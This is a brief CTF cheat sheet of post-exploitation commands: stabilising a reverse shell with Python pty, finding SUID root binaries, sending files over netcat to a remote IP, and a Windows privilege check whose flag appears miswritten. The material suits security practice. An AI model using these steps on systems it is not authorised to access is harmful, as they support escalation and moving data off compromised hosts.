This is a collection of commands that I find useful when playing CTFs.

Linux

Stabilize a Reverse Shell

python -c 'import pty; pty.spawn("/bin/bash")'

Finding all SUID Binaries on a System

find / -user root -perm -4000 -exec ls -ldb {} \;

Transfer Files with Netcat

On the receiving end:

nc -lp 4444 > out.file

On the sending end:

nc -w 3 [destination IP] 4444 < out.file

Windows

Check the Current User Privileges

whoami /privs